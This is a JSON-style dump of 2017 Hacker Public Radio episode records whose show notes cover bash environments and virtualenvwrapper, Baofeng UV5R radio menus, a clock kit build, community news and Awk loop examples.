                                                            Link to the Free, open-source tool for programming your amateur radio. It supports a large number of manufacturers and models, as well as provides a way to interface with multiple data sources and formats. https://chirp.danplanet.com/projects/chirp/wiki/Home

                                                            \n","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2322,"date":"2017-06-27","title":"A bit of background on virtualenvwrapper","duration":1059,"summary":"Linux processes, the process environment and the shell, as they relate to virtualenvwrapper.","notes":"

                                                            A bit of background on virtualenvwrapper

                                                            \n

                                                            Or, Linux processes, the process environment and the shell.

                                                            \n

                                                            speaker intro

                                                            \n

                                                            Hi, I'm bjb. I've been using Linux for wow, 20 years now.

                                                            \n

                                                            motivation

                                                            \n

                                                            knox gave a nice podcast on virtualenvwrapper - it was timely for me, I was just trying to use it the other day and not finding all the bits and pieces. So thank you for collecting that info in one place.

                                                            \n

                                                            knox asked why virtualenvwrapper behaves as it does ...

                                                            \n

                                                            introduction

                                                            \n

                                                            virtualenvwrapper is a combination of bash functions and programs.

                                                            \n

                                                            To understand how it works you need to know a little bit about bash and Linux.

                                                            \n

                                                            I know there have been some very good earlier and current! HPR shows on bash. But bash is a huge topic. The man page for it was 3500 lines about 10 years ago ...now it is 4300 plus lines. It has a LOT of functionality, and when you're just trying to get something done, it's overwhelming to look at. So in this HPR episode, I will just answer one or two of knox's questions. It gives me an excuse to make an episode.

                                                            \n

                                                            Also I'm not going to go too deep into the description. In order to keep the podcast short and to-the-point, I'm just going to cover what is needed. There is lots more depth - there are several shells you could use and I'm only going to talk about bash; at startup bash can read more than just the files I mention in this podcast ... I'm just not going to cover all the possibilities. That's what the over 4300 line man page is for : -). If you have questions, ask them in the comments, or make your own podcast and ask them! Maybe you'll get some answers - either from me or from another HPR community member.

                                                            \n\n

                                                            environment for processes

                                                            \n

                                                            A program that has no inputs is not flexible or powerful. As a simple example, a program that displays the results of a hard-coded search is certainly useful if you want to know about that hard-coded search term. But a program that can search for a term that you specify at run time is so much more useful. You do not have to recompile the program to change the search term.

                                                            \n

                                                            Programs can receive inputs in several ways.

                                                            \n

                                                            On Linux and other unix-like OSs, a program can be run with arguments, read and write to file descriptors (and that includes standard in, standard out and standard error), they can receive signals - and they have another input: the "environment". That is a bunch of key-value pairs that are made available to the program when it starts. Some examples of environment variables are PATH, HOME, EDITOR and PAGER. The name of the environment variable, 'PAGER', is the key, and the thing on the other side of the equals sign, like 'less', is the value - the pair make up a key-value entry in the environment.

                                                            \n

                                                            People who program in C or C++ and maybe other languages know that the program starts with a main function, and that function has some parameters. The first one is a count of arguments and the second one is an array of strings, each string being one of the arguments passed to the program when it is launched. There is a little-known optional third parameter: an array of strings that represents the "environment".

                                                            \n

                                                            The way the program gets these strings is that it inherits them from its parent process. The parent process of programs that are run from the command line is ... the command line itself, bash. Or csh, or whatever your shell is. When the program starts, it gets a copy of the exported parts of the environment of its parent.

                                                            \n

                                                            environment in bash

                                                            \n

                                                            Bash gives you the ability to set these environment variables and mark them as "available for handing to subprocesses", and that is what is happening when you give that "export" command.

                                                            \n

                                                            You can view all the currently defined variables that have been marked for export by using the "env" command with no arguments. E N V - echo november victor. Or, env, short for environment.

                                                            \n

                                                            Since these variables are passed down the generations from parent to child, it is usually sufficient to define it once at the top level.

                                                            \n

                                                            The command line itself is a program called bash. It reads some files at startup.

                                                            \n

                                                            As an example of the "generations", you can call bash from within bash. And you can call bash again from within that bash. Then the first bash is the parent of the second one, and the second one is the parent of the third. The third bash is the child of the second.

                                                            \n

                                                            You can see the environment changing: Set a variable fred=one in the first shell and export it:

                                                            \n

                                                            export fred=one

                                                            \n

                                                            then run bash. In that bash you can echo $fred, and see that fred is one. Now you can change fred to two:

                                                            \n

                                                            export fred=two

                                                            \n

                                                            and run the third bash. In the third bash, you can see that fred is two:

                                                            \n

                                                            echo $fred

                                                            \n

                                                            now exit bash with the exit command.

                                                            \n

                                                            If you echo $fred, you will see fred is still two, since we set it to two just before we ran the third bash. But if you exit again, you will be back to the first bash, and you will see that fred is now one. This is the environment that bash had, just before you launched the second bash. The second and third environments are gone - those processes terminated when the exit command was given on their prompts; and when they did, their environments were cleaned up and removed.

                                                            \n

                                                            In the show notes, I have another exercise to help with understanding this environment thing.

                                                            \n

                                                            Here's another exercise to illustrate this principle. Type bash and
                                                            \nenter, and you will be in a subshell. If you show a process listing
                                                            \nin a hierarchical format, with children indented from their parents,
                                                            \nyou will see that the bash you are currently in is a child of
                                                            \nanother bash. The command to see the list of running processes in
                                                            \nhierarchical format is:

                                                            \n

                                                                ps -efH

                                                            \n

                                                            There are several bash processes. In order to pick out the bash
                                                            \ninstance that I'm running, I look for the ps process, because it has
                                                            \na uniqe string in the arguments: -efH. In the less session, search
                                                            \nfor 'efH' by typing "/efH". The screen will jump to where the
                                                            \nps -efH process is, and highlight the "efH" string that you searched
                                                            \nfor. The line you searched for will be at the top of the display
                                                            \n... to see the few lines above, type "kkkk" (one k for each line to
                                                            \nmove up). To exit from less, type q.

                                                            \n

                                                            Go ahead and export another made-up variable - perhaps your street name:

                                                            \n

                                                               export CHESTNUT=rizwan

                                                            \n

                                                            Make sure it is there with the env command:

                                                            \n

                                                               env | grep CHESTNUT

                                                            \n

                                                            and then run another subshell, and search for it again:

                                                            \n

                                                               bash
                                                            \n   env | grep CHESTNUT

                                                            \n

                                                            Exit the various shells with the "exit" command or by typing ^D. If
                                                            \nyou exit the subshell, and the shell in which you created the
                                                            \nCHESTNUT environment variable, you can run the env command and
                                                            \nsearch for that environment variable - it will not be there. The
                                                            \nprogram in which the environment variable was created has terminated,
                                                            \nand its environment has been discarded.

                                                            \n

                                                            bash startup files

                                                            \n

                                                            When bash is a login shell, it reads ~/.bash_profile. When it is not a login shell, but some subshell of the login shell, it reads ~/.bashrc.

                                                            \n

                                                            So for things that you only need to set once, you can put them in ~/.bash_profile. For things that you have to run for each new subshell, you put them in .bashrc.

                                                            \n

                                                            (Note that most distributions will set up the user accounts so they will run ~/.bashrc from .bash_profile for interactive shells)

                                                            \n

                                                            the PATH

                                                            \n

                                                            This is important, because of two things. The first is the PATH. The PATH is one of the environment variables that is used by the system to look for executables. So if you want to run a program, it should be in one of the directories on the PATH, or you will have to specify the full path to the program when running it.

                                                            \n

                                                            When you first get your account on a system, there is a default version of the .bashrc and .bash_profile files. In .bash_profile there should be a definition of the PATH. It contains the system directories like /usr/bin and /bin - you don't want to remove those from your path or your shell will become next to useless - you will have to use full paths for all commands. So the way that people add directories to the PATH is to assign the existing value of PATH to itself, plus the desired new directories. For example:

                                                            \n
                                                            \n

                                                            PATH=$PATH:/home/bjb/bin

                                                            \n
                                                            \n

                                                            But if you put this in .bashrc, then every subshell will have another copy of the directory /home/bjb/bin tacked onto the end of the PATH. So the right place to put this definition is in ~/.bash_profile, where it will be executed once and then inherited by all the subshells.

                                                            \n

                                                            shell functions and aliases

                                                            \n

                                                            However not everything you need in the shell is inherited from the parent program. It turns out that another facility that bash supplies and that virtualenv uses is the ability to define and execute bash functions. Bash also has aliases.

                                                            \n

                                                            A bash function is a series of bash commands that have been given a name, and that you can run by typing that name. It can also receive arguments that can influence how the function will behave. HPR episode 1757 by Dave Morriss called "Useful Bash Functions" talks about bash functions.

                                                            \n

                                                            You can see the list of currently defined bash functions by using the bash command: declare -F

                                                            \n

                                                            An alias is a simpler version of a function - it is (usually) just a shorter string to represent a longer or more complicated command, to make command line use easier (assuming you can remember all the aliases in the first place).

                                                            \n

                                                            You can see the list of currently defined aliases by using the bash command: alias

                                                            \n

                                                            virtualenvwrapper makes use of bash functions. This has consequences.

                                                            \n

                                                            the bash builtin command 'source'

                                                            \n

                                                            One is that you need to define those functions in every subshell. That's why you need to put "source /usr/local/bin/virtualenvwrapper.sh" in your bashrc.

                                                            \n

                                                            Well it seems that on a Debian system virtualenvwrapper puts the workon shell function into your shell via a more convoluted route. I will describe it in the show notes. But in the end, the virtualenvwrapper file that defines the virtualenvwrapper adds the function workon to your shell by sourcing the file /etc/bash_completion.d/virtualenvwrapper whenever .bashrc is sourced. (Note that "." is shorthand for the bash "source" built-in command.) The "workon" function is defined in /etc/bash_completion.d/virtualenvwrapper (the definition is about in the middle of the file.)

                                                            \n

                                                            - ~/.bashrc sources /etc/bash_completion or /usr/share/bash-completion/bash_completion
                                                            \n  (whichever one it finds first);
                                                            \n- which sources /usr/share/bash-completion/bash_completion;
                                                            \n- which sources all the files in /etc/bash_completion.d
                                                            \n- one of which is virtualenvwrapper.sh
                                                            \n- which defines the bash function workon.

                                                            \n

                                                            Look at that, on a Debian system "apt-cache show virtualenvwrapper" does indeed list bash-completion as a dependency. The virtualenvwrapper upstream does not assume you will be using command completion, and in the comments at the top of the /etc/bash_completion.d/virtualenvwrapper file tell you to put "source .../virtualenvwrapper.sh" into your ~/.bashrc file.

                                                            \n

                                                            A description of bash-completion could be a topic of another podcast (I'm not actually volunteering to do this one, heh, just suggesting it as a topic).

                                                            \n

                                                            life cycle of environment

                                                            \n

                                                            Another consequence is this: When you run a program, it will inherit a copy of the environment of its parent. When it is done, it will exit and that environment will disappear. So, you cannot run a program or subshell to try to affect your environment. It will affect the subshell or program environment, and as soon as the command is done, that updated environment will disappear.

                                                            \n

                                                            The "source" built-in bash command is meant to allow you to run a bunch of commands in a file as if they had been typed on the command line. So you can put commands that affect the environment, and the environment will still have the changes when the sourcing is done.

                                                            \n

                                                            back to virtualenvwrapper: conclusion

                                                            \n

                                                            So, virtualenvwrapper is mainly changes to the environment. It consists of a few files that are stored in ~/.virtualenvs, with names like postactivate and premkvirtualenv. They are basically hooks to add functionality before and after the commands you would issue for virtualenv, so you can customize virtualenv.

                                                            \n

                                                            To understand virtualenvwrapper, let's have a quick look at virtualenv first. The things you do with virtualenv are to create a virtualenv, destroy one, and activate one.

                                                            \n

                                                            So the things you can do with virtualenvwrapper are to run some script or scriptlet before or after you create a virtualenv, destroy a virtualenv, or activate a virtualenv.

                                                            \n

                                                            The main thing to customize is the "where to find the activate file" and the "what to do after activating 'postactivate'".

                                                            \n

                                                            It does this by setting environment variables (like PATH and PYTHONHOME) appropriately and by defining bash functions to do things like change directory to where the project is.

                                                            \n

                                                            You just have to edit .virtualenvs/postactivate to contain the location of your project files. You also define WORKON_HOME to be the directory that contains all your virtualenvs (for me that is /usr/local/pythonenv, but for most people it will be some directory in their home directory.

                                                            \n

                                                            Summary

                                                            \n

                                                            virtualenv manipulates the environment in order to allow you to have different python setups for your different projects - handy if you have one project that depends on different versions of python packages than another project and you want to run both.

                                                            \n

                                                            But virtualenv leaves a few rough edges, like leaving it up to you to find the virtualenv in order to source the activate script. That is where virtualenvwrapper comes in.

                                                            \n

                                                            We have talked about the environment, and how virtualenvwrapper manipulates the environment to make it easier to work with the virtualenvs that you have created.

                                                            \n

                                                            The environment refers to the set of environment variables that are defined and passed to child processes. We also discussed the process hierarchy and that a new environment is created for a new process, and it is destroyed when that process exits. We covered sourcing a file of shell commands, so that if those commands affect the environment, then when the sourcing is done, the environment left is the one that was changed and the changes persist past the source command. We talked about the .bash_profile and the .bashrc files.

                                                            \n

                                                            HPR exhortation

                                                            \n

                                                            You've been listening to Hacker Public Radio. Anyone can make a show -if I can do it, so can you.

                                                            \n","hostid":357,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python,virtualenvwrapper,virtualenv,bash,linux","version":0,"downloads":0,"valid":1}, {"id":2323,"date":"2017-06-28","title":"How to Configure Mumble in Real Time","duration":384,"summary":"The cast of the urandom podcast help a guest troubleshoot their Mumble setup in real time. ","notes":"

                                                            Links relevant to the show:

                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Mumble, Podcasting, Audiobooks, Troubleshooting, How To","version":0,"downloads":0,"valid":1}, {"id":2324,"date":"2017-06-29","title":"Opensusecon 2017 and Ubuntu 16.04","duration":326,"summary":"Performance of Ubuntu 16.04 on my MS surface Tablet and Brief Review of OpenSuse Con 2017","notes":"

                                                            \nInformation about HTOP can be found at https://en.wikipedia.org/wiki/Htop\nInformation about Audacity 2.1.2 can be found at https://www.audacityteam.org/\n

                                                            \n

                                                            \nOverall the opensuse con 2017 was a great event. Lots of talks, they had guy with 16 Raspberry PIs in a storage cluster and list goes on and on. Many of the folks there were suse employees or Open Cloud employees but they really had their passions down.\n

                                                            \n

                                                            \nUbuntu 16.04 is running fine on my MS surface tablet and is wife friendly.\n

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"openSUSE,openSUSE conference 2017,Ubuntu,Microsoft Surface tablet","version":0,"downloads":0,"valid":1}, {"id":2325,"date":"2017-06-30","title":"Insurance - How It Works","duration":1292,"summary":"To begin discussing the policy we need to first explain how insurance works","notes":"

                                                            Health policy is difficult and tricky. In the U.S. health care is mostly financed through insurance. How does that work, and what does it imply. There are some hard truths here.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health Insurance, Health Policy","version":0,"downloads":0,"valid":1}, {"id":2326,"date":"2017-07-03","title":"HPR Community News for June 2017","duration":4644,"summary":"HPR Volunteers talk about shows released and comments posted in June 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Mongo, \n bjb.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2304Thu2017-06-01Using Gnome 3 for the First TimeShane Shennan
                                                            2305Fri2017-06-02Configuring an HP Laptop for Dual Boot Linux and Windows 10Mongo
                                                            2306Mon2017-06-05HPR Community News for May 2017HPR Volunteers
                                                            2307Tue2017-06-06Baofeng UV5R VHF/UHF Handset part 4MrX
                                                            2308Wed2017-06-07Everyday package operations in Guixclacke
                                                            2309Thu2017-06-08Crowdsourcing AccessibilityJon Kulp
                                                            2310Fri2017-06-09Kdenlive Part 6 Workflow and Conclusion. Geddes
                                                            2311Mon2017-06-12Baofeng UV5R VHF/UHF Handset part 5MrX
                                                            2312Tue2017-06-13Troubleshooting Websites with XAMPPFrank Bell
                                                            2313Wed2017-06-14NilFS2klaatu
                                                            2314Thu2017-06-15Bad CapsNYbill
                                                            2315Fri2017-06-16Penguicon 2017 ReportAhuka
                                                            2316Mon2017-06-19Baofeng UV5R VHF/UHF Handset part 6MrX
                                                            2317Tue2017-06-20Bash snippet - extglob and scpDave Morriss
                                                            2318Wed2017-06-21Talking about my thinkpadsswift110
                                                            2319Thu2017-06-22Minimal Music Site 17.05.39 now available on sourceforge.netmattkingusa
                                                            2320Fri2017-06-23Living Computers: Museum + LabsJWP
                                                            2321Mon2017-06-26Baofeng UV5R VHF/UHF Handset part 7MrX
                                                            2322Tue2017-06-27A bit of background on virtualenvwrapperbjb
                                                            2323Wed2017-06-28How to Configure Mumble in Real TimeThaj Sara
                                                            2324Thu2017-06-29Opensusecon 2017 and Ubuntu 16.04JWP
                                                            2325Fri2017-06-30Insurance - How It WorksAhuka
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-June/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 38 comments in total.

                                                            \n

                                                            There are 14 comments on\n7 previous shows:

                                                            \n
                                                            • hpr2187\n(2016-12-20) \"The Toshiba Libretto 100ct\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nBob Jonkman on 2017-06-07:\n\"Fixing dead pixels\"

                                                              \n
                                                            • hpr2278\n(2017-04-26) \"Some supplementary Bash tips\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nclacke on 2017-06-15:\n\"How people record\"
                                                              • \n
                                                              • \nComment 4:\nclacke on 2017-06-15:\n\"On using echo\"
                                                              • \n
                                                              • \nComment 5:\nDave Morriss on 2017-06-15:\n\"On recording\"
                                                              • \n
                                                              • \nComment 6:\nDave Morriss on 2017-06-15:\n\"Using echo, printf and ls\"
                                                              • \n
                                                              • \nComment 7:\nKen Fallon on 2017-06-15:\n\"Comment limit\"
                                                              • \n
                                                              • \nComment 8:\nclacke on 2017-06-16:\n\"printf episode\"

                                                              \n
                                                            • hpr2283\n(2017-05-03) \"Saving money shaving with double and single edge safety razors\"\nby Dave Yates.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\njwp on 2017-06-03:\n\"Hi Dave\"

                                                              \n
                                                            • hpr2284\n(2017-05-04) \"Resurrecting a dead ethernet switch\"\nby mirwi.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\njwp on 2017-06-03:\n\"great show\"

                                                              \n
                                                            • hpr2287\n(2017-05-09) \"Desparately Seeking Saving RMS - Introduction\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nrtsn on 2017-06-15:\"[no title]\"

                                                              \n
                                                            • hpr2291\n(2017-05-15) \"Arch on CELES\"\nby Hannah, of Terra, of Sol.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nHannah, of Terra, of Sol on 2017-06-04:\n\"A repo, maybe?\"
                                                              • \n
                                                              • \nComment 2:\nrtsn on 2017-06-16:\n\"good episode\"

                                                              \n
                                                            • hpr2297\n(2017-05-23) \"More Magnatune Favourites\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nDave Lee on 2017-06-21:\n\"CC licenses and subscription model\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2017-06-22:\n\"Re: CC licenses and subscription model\"

                                                              \n
                                                            \n

                                                            There are 24 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr2304\n(2017-06-01) \"Using Gnome 3 for the First Time\"\nby Shane Shennan.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-06-01:\n\"xfdashboard\"

                                                              \n
                                                            • hpr2305\n(2017-06-02) \"Configuring an HP Laptop for Dual Boot Linux and Windows 10\"\nby Mongo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSteve on 2017-06-07:\n\"Excellent tutorial\"
                                                              • Comment 2:\nMongo on 2017-06-08:\"[no title]\"

                                                              \n
                                                            • hpr2308\n(2017-06-07) \"Everyday package operations in Guix\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2017-05-25:\n\"I check this one while processing\"
                                                              • Comment 2:\nclacke on 2017-05-29:\n\"Theme song\"
                                                              • Comment 3:\nclacke on 2017-06-04:\n\"Theme song is up\"
                                                              • Comment 4:\nMr. Young on 2017-06-07:\n\"GNU Stow please\"
                                                              • Comment 5:\nclacke on 2017-06-15:\n\"GNU Stow in the pipeline\"

                                                              \n
                                                            • hpr2309\n(2017-06-08) \"Crowdsourcing Accessibility\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-06-11:\n\"Interesting project; interesting word\"
                                                              • Comment 2:\nJonathan Kulp on 2017-06-11:\n\"absquatulate\"

                                                              \n
                                                            • hpr2313\n(2017-06-14) \"NilFS2\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfolky on 2017-06-14:\n\"More ;-)\"

                                                              \n
                                                            • hpr2314\n(2017-06-15) \"Bad Caps\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-06-18:\n\"Thanks for this\"
                                                              • Comment 2:\nNYbill on 2017-06-18:\"[no title]\"
                                                              • Comment 3:\nJonathan Kulp on 2017-06-19:\n\"The suspense is killing me \"
                                                              • Comment 4:\nKen Fallon on 2017-06-19:\n\"Do not reply in the comments\"
                                                              • Comment 5:\nJonathan Kulp on 2017-06-19:\n\"I'll do a show next time\"
                                                              • Comment 6:\nNYbill on 2017-06-19:\"[no title]\"
                                                              • Comment 7:\nNYbill on 2017-06-19:\n\""Do not reply in the comments"\"
                                                              • Comment 8:\nKen Fallon on 2017-06-20:\n\"Great more shows\"

                                                              \n
                                                            • hpr2317\n(2017-06-20) \"Bash snippet - extglob and scp\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJonathan Kulp on 2017-06-28:\n\"Clarity!\"
                                                              • Comment 2:\nDave Morriss on 2017-06-29:\n\"Clear as mud? :-)\"

                                                              \n
                                                            • hpr2320\n(2017-06-23) \"Living Computers: Museum + Labs\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2017-06-23:\n\"AWK series/ DEC hardware\"

                                                              \n
                                                            • hpr2322\n(2017-06-27) \"A bit of background on virtualenvwrapper\"\nby bjb.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2017-06-27:\n\"Great Show. My follow-up to com\"

                                                              \n
                                                            • hpr2325\n(2017-06-30) \"Insurance - How It Works\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2017-06-15:\n\"Great show\"

                                                              \n
                                                            \n

                                                            Any other business

                                                            \n
                                                              \n
                                                            • Podcrawl Glasgow 2017\n\t

                                                              The annual Podcrawl Glasgow will take place on Saturday July 29th\n\t at 6pm, starting in The State Bar, Holland Street, Glasgow ... and\n\t going on to who knows where!

                                                              \n\t

                                                              See Kevie's blog\n\t for the details.

                                                              \n\t

                                                              We hope to see some HPR listeners and contributors there!

                                                              \n
                                                            • \n
                                                            • UK Table Kit\n\t

                                                              From @timttmy:

                                                              \n\t

                                                              Could you mention on the community news that I still have the\n\t\tHPR table kit and if anyone needs it to let me know via the\n\t\tmailing list. Sadly I won't be able to make oggcamp this year\n\t\tand I'm a more than a little gutted as this will be the first\n\t\ttime I've missed the event. I hope somebody can represent HPR\n\t\tthis year but I've not heard any chatter of excitement about\n\t\tit on the interwebs from anyone yet.

                                                              \n
                                                            • \n\n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2327,"date":"2017-07-04","title":"A Texan's view on Why only a Native Born person can be President","duration":426,"summary":"A quick talk about why America is special","notes":"

                                                            Based on my limited knowledge of our founding documents. I have read them a few times and had a few basic classes about our founding documents. So I am not lawyer or Professor just a normal person with a very normal education. I did see the starting documents at the national archive last sept 2016 and they are real and can be publicly read.

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"President of the United States,eligibility","version":0,"downloads":0,"valid":1}, {"id":2328,"date":"2017-07-05","title":"Baofeng UV5R VHF/UHF Handset part 8","duration":830,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I cover the menus 12 to 24 of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n
                                                              \n
                                                            • Menu 12, T-DCS - Transmitter DCS: [ D023N -- D754I , OFF ], DCS Wikpedia
                                                              \nhttps://en.wikipedia.org/wiki/Squelch#DCS

                                                            • \n
                                                            • Menu 13, 13 T-CTCS - Transmitter CTCSS [ 67.0 -- 254.1, OFF ], CTCSS Wikipedia
                                                              \nhttps://en.wikipedia.org/wiki/Continuous_Tone-Coded_Squelch_System

                                                            • \n
                                                            • Menu 14, VOICE - Voice Prompt [ ENG / CHI / OFF ]

                                                            • \n
                                                            • Menu 15, ANI-ID - Automatic Number ID Baofeng UV-5R

                                                            • \n
                                                            • Menu 16, DTMFST - DTMF tone of transmit [1, 2, 3, 0]

                                                            • \n
                                                            • Menu 17, S-CODE - Signal Code [ 1-15 ]

                                                            • \n
                                                            • Menu 18, SC-REV - Scanner Resume Method (Time, Carrier, Search) [ TO / CO / SE ]

                                                            • \n
                                                            • Menu 19, PTT-ID - When to send the PTT-ID (Beginning, End Both) [ BOT / EOT BOTH ]

                                                            • \n
                                                            • Menu 20, PTT-LT - Signal code sending delay. [ 0 -- 30 ]

                                                            • \n
                                                            • Menu 21, MDF-A - Channel Mode A Display [ NAME / FREQ ]

                                                            • \n
                                                            • Menu 22, MDF-B - Channel Mode B Display [ NAME / FREQ ]

                                                            • \n
                                                            • Menu 23, BCL - Busy Channel Lock-out [ OFF / ON ]

                                                            • \n
                                                            • Menu 24, 24 AUTOLK - Automatic Keypad Lock [ ON/ OFF ]

                                                            • \n
                                                            • DTMF, Wikipedia
                                                              \nhttps://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling

                                                            • \n
                                                            ","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2329,"date":"2017-07-06","title":"Building a Digital Clock Kit","duration":1707,"summary":"I bought a self-build digital clock on eBay and document the building process","notes":"

                                                            Building a Digital Clock Kit

                                                            \n

                                                            Introduction

                                                            \n

                                                            In April 2017 my son and I decided to each build a digital clock. I had been interested in the idea since seeing Big Clive build one on YouTube, and I think my son had been similarly motivated.

                                                            \n

                                                            He found one, which I have linked to below. It's smaller than the one shown by Big Clive, comes from ShenZhen China, and costs $5.35 (about £4.18) postage free. It takes a long time to arrive, so patience is needed!

                                                            \n

                                                            There are many digital clock kits on eBay, and lots of YouTube videos showing how to build them. I think it's a great project for someone wanting some soldering practice which is a little more demanding than a beginner project.

                                                            \n

                                                            One type to avoid, I think, is the surface mount type. The one I have uses a through-hole PCB, but I have seen some that provide SMD (surface-mounted device) components. That type of soldering is beyond me at the moment (though my son has been teaching himself to do it).

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes detailing the unpacking and building of this device, with photographs. These are available here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":103,"explicit":1,"license":"CC-BY-SA","tags":"electronics,clock,soldering","version":0,"downloads":0,"valid":1}, {"id":2330,"date":"2017-07-07","title":"Awk Part 7","duration":1271,"summary":"Looping in Awk explained by a sleep-deprived host","notes":"

                                                            In this episode, I will (very) briefly go over loops in the Awk programming language. Loops are useful when you want to run the same command(s) on a collection of data or when you just want to repeat the same commands many times.

                                                            \n

                                                            When using loops, a command or group of commands is repeated until a condition (or many) is met.

                                                            \n

                                                            While Loop

                                                            \n

                                                            Here is a silly example of a while loop:

                                                            \n
                                                            #!/bin/awk -f\nBEGIN {\n\n# Print the squares from 1 to 10 the first way\n\n    i=1;\n    while (i <= 10) {\n        print "The square of ", i, " is ", i*i;\n        i = i+1;\n    }\n\nexit;\n}
                                                            \n

                                                            Our condition is set in the braces after the while statement. We set a variable, i, before entering the loop, then increment i inside of the loop. If you forget to make a way to meet the condition, the while will go on forever.

                                                            \n

                                                            Do While Loop

                                                            \n

                                                            Here is an equally silly example of a do while loop:

                                                            \n
                                                            #!/bin/awk -f\nBEGIN {\n\n    i=2;\n    do {\n        print "The square of ", i, " is ", i*i;\n        i = i + 1\n    }\n\n    while (i != 2)\n\nexit;\n}
                                                            \n

                                                            Here, the commands in the do code block are executed at the start, then the looping begins.

                                                            \n

                                                            For Loop

                                                            \n

                                                            Another silly example of a for loop:

                                                            \n
                                                            #!/bin/awk -f\nBEGIN {\n\n    for (i=1; i <= 10; i++) {\n        print "The square of ", i, " is ", i*i;\n    }\n\nexit;\n}
                                                            \n

                                                            As you can see, we set the variable, set the condition and set the increment method all in the braces after the for statement.

                                                            \n

                                                            For Loop Over Arrays

                                                            \n

                                                            Here is a more useful example of a for loop. Here, we are adding the different values of column 2 into an array/hash-table called a. After processing the file, we print the different values.

                                                            \n

                                                            For file.txt:

                                                            \n
                                                            name       color  amount\napple      red    4\nbanana     yellow 6\nstrawberry red    3\ngrape      purple 10\napple      green  8\nplum       purple 2\nkiwi       brown  4\npotato     brown  9\npineapple  yellow 5
                                                            \n

                                                            Using the awk file of:

                                                            \n
                                                            NR != 1 {\n    a[$2]++\n}\nEND {\n    for (b in a) {\n        print b\n    }\n}
                                                            \n

                                                            We get the results of:

                                                            \n
                                                            brown\npurple\nred\nyellow\ngreen
                                                            \n

                                                            In another example, we do a similar process. This time, not only do we store all the distinct values of the second column, we perform a sum operation on column 3 for each distinct value of column 2.

                                                            \n

                                                            For file.csv:

                                                            \n
                                                            name,color,amount\napple,red,4\nbanana,yellow,6\nstrawberry,red,3\ngrape,purple,10\napple,green,8\nplum,purple,2\nkiwi,brown,4\npotato,brown,9\npineapple,yellow,5
                                                            \n

                                                            Using the awk file of:

                                                            \n
                                                            BEGIN {\n    FS=",";\n    OFS=",";\n    print "color,sum";\n}\nNR != 1 {\n    a[$2]+=$3;\n}\nEND {\n    for (b in a) {\n        print b, a[b]\n    }\n}
                                                            \n

                                                            We get the results of:

                                                            \n
                                                            color,sum\nbrown,13\npurple,12\nred,7\nyellow,11\ngreen,8
                                                            \n

